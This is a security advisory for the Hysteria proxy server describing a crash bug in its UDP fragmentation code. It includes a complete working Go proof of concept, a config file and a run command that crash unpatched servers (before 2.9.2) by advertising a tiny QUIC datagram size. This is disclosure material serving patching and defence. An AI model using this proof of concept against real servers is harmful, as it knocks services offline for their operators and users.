GHSA-qh5x-rfwf-rvfv json
Hysteria vulnerable to server crash when max_datagram_frame_size very small
published 4mo ago modified 4mo ago also GO-2026-5807
- cvss
- 7.5
- version 3.1, GitHub
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
### Summary
An authenticated client can crash the Hysteria server by advertising a very small QUIC `max_datagram_frame_size` and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns `DatagramTooLargeError`. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process.
### Details
The vulnerable path is the normal server-side UDP response path:
```text udpSessionEntry.receiveLoop -> sendMessageAutoFrag -> frag.FragUDPMessage ```
In `core/server/udp.go`, `receiveLoop` packages a UDP response into a `protocol.UDPMessage` and calls `sendMessageAutoFrag`. If `SendDatagram` fails with `quic.DatagramTooLargeError`, `sendMessageAutoFrag` calls:
```go fMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize)) ```
However, `FragUDPMessage` in `core/internal/frag/frag.go` assumes that `maxSize` is greater than the UDP message header size:
```go maxPayloadSize := maxSize - m.HeaderSize() ```
If an attacker-controlled client advertises a small enough `max_datagram_frame_size`, `errTooLarge.MaxDatagramPayloadSize` can be smaller than `m.HeaderSize()`. In that case, `maxPayloadSize` becomes zero or negative, and the later slicing operation panics:
```go frag.Data = fullPayload[off : off+payloadSize] ```
### PoC
poc.yaml
```yaml listen: 127.0.0.1:8443
tls: cert: poc_server.crt key: poc_server.key
auth: type: password password: udp-frag-panic-poc
masquerade: type: string string: content: nope statusCode: 404 ```
poc.go
```go //go:build poc
package main
import ( "bytes" "context" "crypto/tls" "encoding/binary" "flag" "fmt" "io" "net" "net/http" "net/url" "time"
"github.com/apernet/quic-go" "github.com/apernet/quic-go/http3" "github.com/apernet/quic-go/quicvarint" )
const ( authHost = "hysteria" authPath = "/auth" authOK = 233 )
func main() { server := flag.String("server", "127.0.0.1:8443", "Hysteria server address") auth := flag.String("auth", "", "Hysteria auth/password") target := flag.String("target", "127.0.0.1:19090", "UDP target reachable from the server") maxDatagram := flag.Int64("max-datagram", 20, "QUIC max_datagram_frame_size advertised by this client") insecure := flag.Bool("insecure", true, "skip TLS verification") echo := flag.Bool("echo", true, "start a local UDP echo server on --target") flag.Parse()
if *auth == "" { panic("--auth is required") } if *echo { closeEcho := startUDPEcho(*target) defer closeEcho() }
conn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram) defer cleanup()
msg := hysteriaUDPMessage(1, *target, []byte("X")) fmt.Printf("[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\n", *target, udpHeaderSize(*target), len(msg), *maxDatagram)
if err := conn.SendDatagram(msg); err != nil { panic(fmt.Errorf("send trigger datagram: %w", err)) } fmt.Println("[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage")
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) defer cancel() if _, err := conn.ReceiveDatagram(ctx); err != nil { fmt.Printf("[*] receive after trigger: %v\n", err) } else { fmt.Println("[!] received a response; try a smaller --max-datagram") } }
func dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) { serverAddr, err := net.ResolveUDPAddr("udp", server) if err != nil { panic(err) } udpConn, err := net.ListenUDP("udp", nil) if err != nil { panic(err) }
transport := &quic.Transport{Conn: udpConn} var qconn *quic.Conn rt := &http3.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure}, QUICConfig: &quic.Config{ EnableDatagrams: true, MaxDatagramFrameSize: maxDatagram, DisablePathManager: true, }, Dial: func(ctx context.Context, _ string, tlsCfg *tls.Config, cfg *quic.Config) (*quic.Conn, error) { qconn, err = transport.DialEarly(ctx, serverAddr, tlsCfg, cfg) return qconn, err }, }
req := &http.Request{ Method: http.MethodPost, Host: authHost, URL: &url.URL{Scheme: "https", Host: authHost, Path: authPath}, Header: http.Header{}, Body: io.NopCloser(bytes.NewReader(nil)), } req.Header.Set("Hysteria-Auth", auth) req.Header.Set("Hysteria-CC-RX", "0")
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() resp, err := rt.RoundTrip(req.WithContext(ctx)) if err != nil { panic(err) } defer resp.Body.Close() if resp.StatusCode != authOK { panic(fmt.Errorf("auth failed: HTTP status %d", resp.StatusCode)) } if resp.Header.Get("Hysteria-UDP") == "false" { panic("server reports UDP disabled") }
cleanup := func() { _ = rt.Close() _ = transport.Close() _ = udpConn.Close() if qconn != nil { _ = qconn.CloseWithError(0, "") } } return qconn, cleanup }
func hysteriaUDPMessage(sessionID uint32, addr string, data []byte) []byte { buf := make([]byte, udpHeaderSize(addr)+len(data)) binary.BigEndian.PutUint32(buf[0:4], sessionID) // PacketID=0, FragID=0, FragCount=1. buf[7] = 1 i := len(quicvarint.Append(buf[:8], uint64(len(addr)))) i += copy(buf[i:], addr) copy(buf[i:], data) return buf }
func udpHeaderSize(addr string) int { return 8 + quicvarint.Len(uint64(len(addr))) + len(addr) }
func startUDPEcho(addr string) func() { pc, err := net.ListenPacket("udp", addr) if err != nil { panic(fmt.Errorf("start UDP echo on %s: %w", addr, err)) } fmt.Printf("[*] UDP echo listening on %s\n", pc.LocalAddr())
go func() { buf := make([]byte, 2048) for { n, raddr, err := pc.ReadFrom(buf) if err != nil { return } _, _ = pc.WriteTo(buf[:n], raddr) } }() return func() { _ = pc.Close() } } ```
poc.sh ```bash go run -tags poc ./poc_udp_frag_panic.go \ --server 127.0.0.1:8443 \ --auth udp-frag-panic-poc \ --insecure \ --target 127.0.0.1:19090 \ --max-datagram 20 ```
### Impact Server crash
Patch / fix
- go github.com/apernet/hysteria 2.9.2
Is GHSA-qh5x-rfwf-rvfv in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.
Check with FencerCVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| GitHub | 3.1 | 7.5 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| go | github.com/apernet/hysteria | <2.9.2 all versions |
2.9.2 |
Classification
- Weakness
-
- CWE-770 Allocation of Resources Without Limits or Throttling
References
Sources
- GitHub Advisory GHSA-qh5x-rfwf-rvfv
- OSV GO-2026-5807
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